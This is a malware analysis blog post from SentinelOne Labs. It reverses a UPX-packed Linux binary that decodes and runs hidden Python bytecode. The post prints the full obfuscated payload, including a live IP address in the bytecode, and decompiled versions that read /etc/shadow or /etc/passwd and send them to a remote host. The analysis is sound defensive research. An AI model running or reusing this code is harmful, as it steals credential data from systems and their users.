Hiding in plain sight?

By SentinelOne Labs -

While looking for interesting malicious files, sometimes it’s best to just listen to the source it comes from. Are they telling you it’s going to be malware? Maybe it is, or maybe it’s misdirection. That was the starting point for taking a look at this Linux based “malware”, just the mere indicator that it was being hosted on a server, with the file name “malware”.

image01

It didn’t really hurt my curiosity much either when the index page for the server basically told us to buzz off;

image04

Alright, my interest is piqued, even though I’m half expecting this to be nothing – maybe it will be a fun exercise is reversing some ELF binaries? Open the file in disassembled and hex editor, we can quickly see that this is packed with UPX. The loader stub is the normal 3.91 ELF loader for UPX. However, some minor details are seen to have been stripped.

image02

Normally, a UPX’ed binary will include a string which could be used to identify the version of the packer that was used. It isn’t terribly important to us as an analyst, however it can be common to find “interesting” files that would modify this or the magic bytes for UPX. Actors tend to think this is an easy win to slow down an analyst. This specific binary simply stripped the string which “easily” identifies the version of the packer, however they did not strip out the magic bytes (which are circled above). This is mildly interesting as we can see literal spaces (0x20) have been used to overwrite this information;

image03

This technique doesn’t require us to fix the binary in any way prior to unpacking it. We can just run the normal command line unpacker provided with UPX and be returned the original binary. After unpacking the binary and opening it up in IDA Pro we quickly see functions revolving around Python and potential anti-debug mechanisms. Prior to the main functionally being called, inside the .init_array section, we can see a function which will implement the anti-debug functions as outlined in the disassembly below;

image05

Essentially, it will try to jump into an endless loop if there seems to be anything odd going on like an LD_PRELOAD attack or debugger attached. These are easily avoided, though it makes this binary mildly more interesting. In a function called from main we can easily see that there is an array loaded which then is XOR’ed using 0x51 and piped into Python;

image00

If we simply extract this array and xor it inside the hex editor, we get the resulting code (cleaned up for legibility);


import marshal;
import os;
import socket;
import urllib;
zlo='c\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\[email protected]\x00\x00\x00sk\x01\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x0e\x00r1\x00e\x03\x00\x01n\x00\x00e\x00\x00j\x04\x00\x83\x00\x00Z\x05\x00e\x05\x00d\x03\x00k\x02\x00rR\x00d\x04\x00Z\x06\x00n\x1e\x00d\x05\x00Z\x06\x00d\x0f\x00rp\x00e\x07\x00e\x08\x00j\t\x00\x16e\n\x00\x18\x01n\x00\x00d\x07\x00Z\x0b\x00y&\x00e\x0c\x00e\x06\x00\x83\x01\x00Z\r\x00e\r\x00j\x0e\x00\x83\x00\x00Z\x0b\x00e\r\x00j\x0f\x00\x83\x00\x00\x01Wn\'\x00\x01\x01\x01d\x10\x00r\xc6\x00e\x10\x00e\x11\x00e\x12\x00\x16e\x13\x00j\x14\x00\x14\x18e\x15\x00\x17\x01q\xc6\x00n\x01\x00Xd\t\x00Z\x16\x00d\n\x00Z\x17\x00e\x0b\x00d\x07\x00k\x02\x00r\xf6\x00d\x0b\x00j\x18\x00e\x00\x00j\x19\x00\x83\x00\x00\x83\x01\x00Z\x0b\x00n\x00\x00d\x0c\x00j\x1a\x00e\x01\x00j\x1b\x00e\x0b\x00j\x1c\x00\x83\x00\x00\x83\x01\x00\x83\x01\x00Z\x1d\x00d\x11\x00r%\x01e\x1e\x00e\x1f\x00\x14\x01n\x00\x00e\x02\x00j\x02\x00e\x02\x00j \x00e\x02\x00j!\x00\x83\x02\x00Z"\x00e"\x00j#\x00e\x16\x00e\x17\x00f\x02\x00\x83\x01\x00\x01e"\x00j$\x00e\x1d\x00\x83\x01\x00\x01e"\x00j\x0f\x00\x83\x00\x00\x01d\x01\x00S(\x12\x00\x00\x00i\xff\xff\xff\[email protected]\x00\x00\x00i\x00\x00\x00\x00s\x0b\x00\x00\x00/etc/shadows\x0b\x00\x00\x00/etc/passwdiU\x00\x00\x00t\x00\x00\x00\x00i\'\x00\x00\x00s\n\x00\x00\x0062.61.88.9iP\x00\x00\x00t\x01\x00\x00\x00 s\x12\x00\x00\x00GET /?{0} /r/n/r/ni\x1c\x00\x00\x00i\x00\x00\x00\x00i\x00\x00\x00\x00i\x00\x00\x00\x00i\x00\x00\x00\x00(%\x00\x00\x00t\x02\x00\x00\x00ost\x06\x00\x00\x00urllibt\x06\x00\x00\x00sockett\n\x00\x00\x00i11iIiiIiit\x07\x00\x00\x00geteuidt\x04\x00\x00\x00OO0ot\x06\x00\x00\x00Oo0Ooot\r\x00\x00\x00OOO0O0O0ooooot\x06\x00\x00\x00IIii1It\x03\x00\x00\x00II1t\n\x00\x00\x00O00ooooo00t\x06\x00\x00\x00I1IiiIt\x04\x00\x00\x00opent\x0c\x00\x00\x00IIi1IiiiI1Iit\x04\x00\x00\x00readt\x05\x00\x00\x00closet\x02\x00\x00\x00O0t\t\x00\x00\x00ooOO00oOot\t\x00\x00\x00oOo0O0Ooot\x0b\x00\x00\x00Ooo00oOo00ot\x0c\x00\x00\x00oOoO0oo0OOOot\t\x00\x00\x00iiiiIi11it\x04\x00\x00\x00Ii1It\x0b\x00\x00\x00IiiIII111iIt\x04\x00\x00\x00joint\x05\x00\x00\x00unamet\x06\x00\x00\x00formatt\n\x00\x00\x00quote_plust\x05\x00\x00\x00stript\x04\x00\x00\x00IiIIt\x08\x00\x00\x00Ii11111it\x06\x00\x00\x00iiI1i1t\x07\x00\x00\x00AF_INETt\x0b\x00\x00\x00SOCK_STREAMt\r\x00\x00\x00i1I1ii1II1iIIt\x07\x00\x00\x00connectt\x04\x00\x00\x00send(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x08\x00\x00\x00<script>t\x08\x00\x00\x00<module>\x02\x00\x00\x00s:\x00\x00\x00\x0c\x01\x0c\x01\x0c\x01\x06\x00\x07\x01\x0c\x01\x0c\x01\t\x02\x06\x01\x06\x00\x12\x01\x06\x01\x03\x01\x0c\x01\x0c\x01\x0e\x01\x03\x02\x06\x00\x1e\x01\x06\x01\x06\x01\x0c\x01\x18\x01\x1e\x01\x06\x00\x0b\x01\x18\x01\x13\x01\r\x01';
exec marshal.loads(zlo)

Though I personally had not seen this style of “obfuscation” used before, my colleagues told me it is quite normal in Python scripts. The zlo variable contains Python byte code which will just be loaded directly via marshal.loads() and executed immediately after. To deobfuscate this further we must disassemble the byte code or use a decompiler. We could easily add import dis just replace the exec command with dis.dis(marshal.loads(zlo)) if we wanted. however to make it more legible, let’s run it through a decompiler;


import os
import urllib
import socket
if 0:
i11iIiiIii
OO0o = os.geteuid()
if OO0o == 0:
Oo0Ooo = '/etc/shadow'
else:
Oo0Ooo = '/etc/passwd'
if 0:
OOO0O0O0ooooo % IIii1I.II1 - O00ooooo00
I1IiiI = ''
try:
IIi1IiiiI1Ii = open(Oo0Ooo)
I1IiiI = IIi1IiiiI1Ii.read()
IIi1IiiiI1Ii.close()
except:
if 0:
O0 - ooOO00oOo % oOo0O0Ooo * Ooo00oOo00o.oOoO0oo0OOOo + iiiiIi11i

host = ‘**.**.**.*’
IiiIII111iI = 80
if I1IiiI == ”:
I1IiiI = ‘ ‘.join(os.uname())
IiII = ‘GET /?{0} /r/n/r/n’.format(urllib.quote_plus(I1IiiI.strip()))
if 0:
Ii11111i * iiI1i1
i1I1ii1II1iII = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
i1I1ii1II1iII.connect((Ii1I, IiiIII111iI))
i1I1ii1II1iII.send(IiII)
i1I1ii1II1iII.close()

What we get is more legible than before, but it’s still is slightly obfuscated with poor variable names. The IP address is also removed, however you’re more than welcome to disassemble it from the byte code given above to reveal this if you care to. Below is an “unmangled” version of the script above to highlight what is going on;


import os
import urllib
import socket
if 0:
i11iIiiIii
effective_userid = os.geteuid()
if effective_userid == 0:
path_to_exfil = '/etc/shadow'
else:
path_to_exfil = '/etc/passwd'
if 0:
OOO0O0O0ooooo % IIii1I.II1 - O00ooooo00
buffer = ''
try:
file_to_exfil = open(path_to_exfil)
buffer = file_to_exfil.read()
file_to_exfil.close()
except:
if 0:
O0 - ooOO00oOo % oOo0O0Ooo * Ooo00oOo00o.oOoO0oo0OOOo + iiiiIi11i

host = ‘**.**.**.*’
port = 80
if buffer == ”:
buffer = ‘ ‘.join(os.uname())
data = ‘GET /?{0} /r/n/r/n’.format(urllib.quote_plus(buffer.strip()))
if 0:
Ii11111i * iiI1i1
socket_object = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_object.connect((host, port))
socket_object.send(data)
socket_object.close()

Now we can see a bit better than before, this is an extremely simple exfiltration script for Linux machines. If the user who is executing this file is root, they will attempt to exfiltrate the /etc/shadow which contains the list of users on the system and their encoded passwords. If the binary was run without root privileges, the exfiltration attempt will only send off the /etc/passwd file which is not nearly as bad as no encoded passwords are included in this file.

After analyzing this malware, it’s quite apparent what it does, but it’s still unclear why or how. There is definitely the possibility that an actor is downloading this file onto compromised machines in an automated fashion, though it would seem like there are easier ways to perform such a task – especially without downloading something that specifically with the file name set to “malware”.

Samples analyzed;

b306e1500bede05bdd9f628e0cf5a75b0acc656d  unpacked file
a0f06f8abcd4186cfc1de646a670b969e52c0502  original, packed file

To learn more, check out our whitepaper What Does Axiomatic Security Look Like In The Datacenter